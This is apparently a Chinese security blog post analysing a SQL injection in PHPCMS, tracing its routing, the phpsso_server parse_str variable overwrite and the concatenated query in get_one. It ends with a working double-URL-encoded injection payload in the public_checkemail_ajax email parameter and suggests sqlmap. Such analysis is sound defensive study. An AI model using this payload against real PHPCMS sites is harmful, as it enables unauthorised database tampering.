VegetaY
- 关注
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
PHPcmsSQL注入分析
1、环境部署
phpstudy+phpstorm
2、路由分析
phpcms/
在目录下的index.php下个断点然后浏览器访问首页
index.php
<?php
/**
* index.php PHPCMS 入口
*
* @copyright (C) 2005-2010 PHPCMS
* @license http://www.phpcms.cn/license/
* @lastmodify 2010-6-1
*/
//PHPCMS根目录
define('PHPCMS_PATH', dirname(__FILE__).DIRECTORY_SEPARATOR);
include PHPCMS_PATH.'/phpcms/base.php';
pc_base::creat_app();
?>
跟进pc_base::creat_app();
进入base.php
base.php
继续跟进return self::load_sys_class('application');
进入到_load_class
,具体分析看代码,作用就是根据$classname去加载对应的类
/*传参:
$classname="application"
$path = ''
$initialize =
*/
private static function _load_class($classname, $path = '', $initialize = 1) {
static $classes = array();
/*
1、 进入判断,$path最后="libs\classes"
*/
if (empty($path)) $path = 'libs'.DIRECTORY_SEPARATOR.'classes';
//==========================================================================
$key = md5($path.$classname);
if (isset($classes[$key])) {
if (!empty($classes[$key])) {
return $classes[$key];
} else {
return true;
}
}
/*
2、进入下面的判断,包含了E:\phpstudy_pro\WWW\phpcms-master\install_package\phpcms\libs\classes\application.class.php
*/
if (file_exists(PC_PATH.$path.DIRECTORY_SEPARATOR.$classname.'.class.php')) {
include PC_PATH.$path.DIRECTORY_SEPARATOR.$classname.'.class.php';
$name = $classname;
if ($my_path = self::my_path(PC_PATH.$path.DIRECTORY_SEPARATOR.$classname.'.class.php')) {
include $my_path;
$name = 'MY_'.$classname;
}
/*
3、进入判断,执行$classes[$key] = new $name;实例化了application.class.php。($name指向application.class.php)
*/
if ($initialize) {
$classes[$key] = new $name;
} else {
$classes[$key] = true;
}
return $classes[$key];
} else {
return false;
}
}
跟进application.class.php
application.class.php
/*
构造函数
已经开始出现mvc架构的特征
*/
public function __construct() {
//这一步绕回base.php
$param = pc_base::load_sys_class('param');
define('ROUTE_M', $param->route_m());
define('ROUTE_C', $param->route_c());
define('ROUTE_A', $param->route_a());
$this->init();
}
跟进$param = pc_base::load_sys_class('param');
,把param.class.php
给印进来了
param.class.php
/*
构造函数
*/
public function __construct() {
//1、获取参数并且进行了字符串处理
if(!get_magic_quotes_gpc()) {
$_POST = new_addslashes($_POST);
$_GET = new_addslashes($_GET);
$_REQUEST = new_addslashes($_REQUEST);
$_COOKIE = new_addslashes($_COOKIE);
}
//2、通过base.php的这个理包含了caches\configs\route.php
$this->route_config = pc_base::load_config('route', SITE_URL) ? pc_base::load_config('route', SITE_URL) : pc_base::load_config('route', 'default');
if(isset($this->route_config['data']['POST']) && is_array($this->route_config['data']['POST'])) {
foreach($this->route_config['data']['POST'] as $_key => $_value) {
if(!isset($_POST[$_key])) $_POST[$_key] = $_value;
}
}
if(isset($this->route_config['data']['GET']) && is_array($this->route_config['data']['GET'])) {
foreach($this->route_config['data']['GET'] as $_key => $_value) {
if(!isset($_GET[$_key])) $_GET[$_key] = $_value;
}
}
if(isset($_GET['page'])) {
$_GET['page'] = max(intval($_GET['page']),1);
$_GET['page'] = min($_GET['page'],1000000000);
}
return true;
}
/*
base.php
*/
public static function load_config($file, $key = '', $default = '', $reload = false) {
static $configs = array();
if (!$reload && isset($configs[$file])) {
if (empty($key)) {
return $configs[$file];
} elseif (isset($configs[$file][$key])) {
return $configs[$file][$key];
} else {
return $default;
}
}
$path = CACHE_PATH.'configs'.DIRECTORY_SEPARATOR.$file.'.php';
if (file_exists($path)) {
$configs[$file] = include $path;
}
if (empty($key)) {
return $configs[$file];
} elseif (isset($configs[$file][$key])) {
return $configs[$file][$key];
} else {
return $default;
}
}
}
/*
route.php
*/
<?php
/**
* 路由配置文件
* 默认配置为default如下:
* 'default'=>array(
* 'm'=>'phpcms',
* 'c'=>'index',
* 'a'=>'init',
* 'data'=>array(
* 'POST'=>array(
* 'catid'=>1
* ),
* 'GET'=>array(
* 'contentid'=>1
* )
* )
* )
* 基中“m”为模型,“c”为控制器,“a”为事件,“data”为其他附加参数。
* data为一个二维数组,可设置POST和GET的默认参数。POST和GET分别对应PHP中的$_POST和$_GET两个超全局变量。在程序中您可以使用$_POST['catid']来得到data下面POST中的数组的值。
* data中的所设置的参数等级比较低。如果外部程序有提交相同的名字的变量,将会覆盖配置文件中所设置的值。如:
* 外部程序POST了一个变量catid=2那么你在程序中使用$_POST取到的值是2,而不是配置文件中所设置的1。
*/
return array(
'default'=>array('m'=>'content', 'c'=>'index', 'a'=>'init'),
);
再次回到application.class.php的构造函数,剩下的就是根据获取到的参数去调用对应的代码执行了。
application.class.php
public function __construct() {
$param = pc_base::load_sys_class('param');
//定义了获取路由配置的常量,相关函数在param.class.php
define('ROUTE_M', $param->route_m());
define('ROUTE_C', $param->route_c());
define('ROUTE_A', $param->route_a());
$this->init();
}
/**
* 调用件事
*/
private function init() {
$controller = $this->load_controller();
if (method_exists($controller, ROUTE_A)) {
if (preg_match('/^[_]/i', ROUTE_A)) {
exit('You are visiting the action is to protect the private action');
} else {
call_user_func(array($controller, ROUTE_A));
}
} else {
exit('Action does not exist.');
}
}
验证
本地搭建的环境也没有什么内容可以点,就直接注册了个账号在页面跳转的时候获取到一个连接
http://localhost:81/index.php?m=member&c=index&a=init
进行调试看一下
进入了对应的代码
3、业务分析
phpsso_server/
phpcms中有一套phpsso_server,时phpcms的后台管控中心,有涉及用户权限、信息相关的业务时phpcms会和phpsso_server进行通信。
index.php
<?php
/**
* index.php PHPCMS 入口
*
* @copyright (C) 2005-2010 PHPCMS
* @license http://www.phpcms.cn/license/
* @lastmodify 2010-6-1
*/
define('PHPCMS_PATH', dirname(__FILE__).'/');
include PHPCMS_PATH.'/phpcms/base.php';
pc_base::creat_app();
?>
4、漏洞
4.1、变量覆盖导致SQL注入
分析
phpsso_server/phpcms/modules/phpsso/index.php
index类继承phpsso类,并在构造方法中调用了父类的构造方法
public function __construct() {
parent::__construct();
$this->config = pc_base::load_config('system');
/*判断应用字符集和phpsso字符集是否相同,如果不相同,转换用户名为phpsso所用字符集*/
$this->username = isset($this->data['username']) ? $this->data['username'] : '';
if ($this->username && CHARSET != $this->applist[$this->appid]['charset']) {
if($this->applist[$this->appid]['charset'] == 'utf-8') { //判断应用字符集是否为utf-8编码
//应用字符集如果是utf-8,并且用户名是utf-8编码,转换用户名为phpsso字符集,如果为英文,is_utf8返回false,不进行转换
if(is_utf8($this->username)) {
$this->username = iconv($this->applist[$this->appid]['charset'], CHARSET, $this->username);
}
} else {
if(!is_utf8($this->username)) {
$this->username = iconv($this->applist[$this->appid]['charset'], CHARSET, $this->username);
}
}
}
}
phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php
在构造方法中调用了parse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);。parse_str存在变量覆盖风险。
parse_str
https://www.php.net/manual/zh/function.parse-str
if(isset($_POST['data'])) {
parse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);
}
sys_auth是phpcms的一个加密算法,其中代码不需要完全通读,大致需要掌握以下几点:
1、加密算法
2、输入的数据
3、密钥
在进入parse_str之前输入的内容需要经过sys_auth的解密,同时sys_auth的密钥是在安装的过程中生成的随机内容。
install.php
$phpsso_auth_key = random(32, '1294567890abcdefghigklmnopqrstuvwxyzABCDEFGHIGKLMNOPQRSTUVWXYZ');
我们直接发送的数据无法通过解密,所以只能从利用phpcms本身将数据传给phpsso。
在之前注册的过程中,phpcms有一个检查email的操作,其中涉及到phpsso的通信。
phpcms/modules/member/index.php
在函数中调用了client类的ps_checkemail($email)来进行检查
/**
* 检查邮箱
* @param string $email
* @return $status {-1:email已经存在 ;-5:邮箱禁止注册;1:成功}
*/
public function public_checkemail_ajax() {
$this->_init_phpsso();
$email = isset($_GET['email']) && trim($_GET['email']) && is_email(trim($_GET['email'])) ? trim($_GET['email']) : exit(0);
$status = $this->client->ps_checkemail($email);
if($status == -5) { //禁止注册
exit('0');
} elseif($status == -1) { //用户名已存在,但是修改用户的时候需要判断邮箱是否是当前用户的
if(isset($_GET['phpssouid'])) { //修改用户传入phpssouid
$status = $this->client->ps_get_member_info($email, 3);
if($status) {
$status = unserialize($status); //接口返回序列化,进行判断
if (isset($status['uid']) && $status['uid'] == intval($_GET['phpssouid'])) {
exit('1');
} else {
exit('0');
}
} else {
exit('0');
}
} else {
exit('0');
}
} else {
exit('1');
}
}
phpcms/modules/member/classes/client.class.php
ps_checkemail($email)
public function ps_checkemail($email) {
return $this->_ps_send('checkemail', array('email'=>$email));
}
_ps_send('checkemail', array('email'=>$email))
private function _ps_send($action, $data = null) {
return $this->_ps_post($this->ps_api_url."/index.php?m=phpsso&c=index&a=".$action, 500000, $this->auth_data($data));
}
_ps_post($this->ps_api_url."/index.php?m=phpsso&c=index&a=".$action, 500000, $this->auth_data($data))
_ps_post利用套接字将数据丢给了phpsso
private function _ps_post($url, $limit = 0, $post = '', $cookie = '', $ip = '', $timeout = 15, $block = true) {
$return = '';
$matches = parse_url($url);
$host = $matches['host'];
$path = $matches['path'] ? $matches['path'].($matches['query'] ? '?'.$matches['query'] : '') : '/';
$port = !empty($matches['port']) ? $matches['port'] : 80;
$siteurl = $this->_get_url();
if($post) {
$out = "POST $path HTTP/1.1\r\n";
$out .= "Accept: */*\r\n";
$out .= "Referer: ".$siteurl."\r\n";
$out .= "Accept-Language: zh-cn\r\n";
$out .= "Content-Type: application/x-www-form-urlencoded\r\n";
$out .= "User-Agent: $_SERVER[HTTP_USER_AGENT]\r\n";
$out .= "Host: $host\r\n" ;
$out .= 'Content-Length: '.strlen($post)."\r\n" ;
$out .= "Connection: Close\r\n" ;
$out .= "Cache-Control: no-cache\r\n" ;
$out .= "Cookie: $cookie\r\n\r\n" ;
$out .= $post ;
} else {
$out = "GET $path HTTP/1.1\r\n";
$out .= "Accept: */*\r\n";
$out .= "Referer: ".$siteurl."\r\n";
$out .= "Accept-Language: zh-cn\r\n";
$out .= "User-Agent: $_SERVER[HTTP_USER_AGENT]\r\n";
$out .= "Host: $host\r\n";
$out .= "Connection: Close\r\n";
$out .= "Cookie: $cookie\r\n\r\n";
}
$fp = @fsockopen(($ip ? $ip : $host), $port, $errno, $errstr, $timeout);
if(!$fp) return '';
stream_set_blocking($fp, $block);
stream_set_timeout($fp, $timeout);
@fwrite($fp, $out);
$status = stream_get_meta_data($fp);
if($status['timed_out']) return '';
while (!feof($fp)) {
if(($header = @fgets($fp)) && ($header == "\r\n" || $header == "\n")) break;
}
$stop = false;
while(!feof($fp) && !$stop) {
$data = fread($fp, ($limit == 0 || $limit > 8192 ? 8192 : $limit));
$return .= $data;
if($limit) {
$limit -= strlen($data);
$stop = $limit <= 0;
}
}
@fclose($fp);
//部分虚拟主机返回数值有误,暂不确定原因,过滤返回数据格式
$return_arr = explode("\n", $return);
if(isset($return_arr[1])) {
$return = trim($return_arr[1]);
}
unset($return_arr);
return $return;
}
现在已经可以利用_ps_send或者__ps_post来和phpsso通信。
查找调用_ps_send的位置
调试
使用ps_checkemail($email)来尝试
http://localhost:81/index.php?clientid=email&email=ugfurei@test.com&m=member&c=index&a=public_checkemail_ajax&_=1680942001151
phpcms/modules/member/classes/client.class.php
经过phpsso的路由之后到达phpsso/index.php内的checkemail方法
phpsso_server/phpcms/modules/phpsso/index.php
public function checkemail($is_return=0) {
$this->email = isset($this->email) ? $this->email : isset($this->data['email']) ? $this->data['email'] : '';
if(empty($this->email)) {
if ($is_return) {
return -1;
} else {
exit('-1');
}
}
//非法关键词判断
$denyemail = $this->settings['denyemail'];
if(is_array($denyemail)) {
$denyemail = implode("|", $denyemail);
$pattern = '/^('.str_replace(array('\\*', ' ', "\|"), array('.*', '', '|'), preg_quote($denyemail, '/')).')$/i';
if(preg_match($pattern, $this->email)) {
if ($is_return) {
return -5;
} else {
exit('-5');
}
}
}
//UCenter部分
if ($this->config['ucuse']) {
pc_base::load_config('uc_config');
require_once PHPCMS_PATH.'api/uc_client/client.php';
$rs= uc_user_checkemail($this->email);
if ($rs < 1) {
exit('-5');
}
}
$r = $this->db->get_one(array('email'=>$this->email));
if ($is_return) {
return !empty($r) ? -1 : 1;
} else {
!empty($r) ? exit('-1') : exit('1');
}
}
跟进$r = $this->db->get_one(array('email'=>$this->email));
phpsso_server/phpcms/libs/classes/db_mysqli.class.php
/**
* 获取单条记录查询
* @param $data 需要查询的字段值[例`name`,`gender`,`birthday`]
* @param $table 数据表
* @param $where 查询条件
* @param $order 排序方式 [默认按数据库默认方式排序]
* @param $group 分组方式 [默认为空]
* @return array/null 数据查询结果集,如果不存在,则返回空
*/
public function get_one($data, $table, $where = '', $order = '', $group = '') {
$where = $where == '' ? '' : ' WHERE '.$where;
$order = $order == '' ? '' : ' ORDER BY '.$order;
$group = $group == '' ? '' : ' GROUP BY '.$group;
$limit = ' LIMIT 1';
$field = explode( ',', $data);
array_walk($field, array($this, 'add_special_char'));
$data = implode(',', $field);
$sql = 'SELECT '.$data.' FROM `'.$this->config['database'].'`.`'.$table.'`'.$where.$group.$order.$limit;
$this->execute($sql);
$res = $this->fetch_next();
$this->free_result();
return $res;
}
$sql的值是直接拼接进来的,但是特殊符号会被转义。
SELECT * FROM `phpcms`.`v9_sso_members` WHERE `email` = 'ugfurei@test.com' LIMIT 1
这时候就需要配合之前的parse_str,parse_str默认会对内容进行url解码。
可以使用url编码绕过
页面没有回显可以尝试使用sqlmap
http://localhost:81/index.php?clientid=email&email=ugfurei@test.com%2527+and+insert+into+v9_cache+values+(10086,10086,10086)%23&m=member&c=index&a=public_checkemail_ajax&_=1680942001151
特别鸣谢:微信公众号---dada安全研究所
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)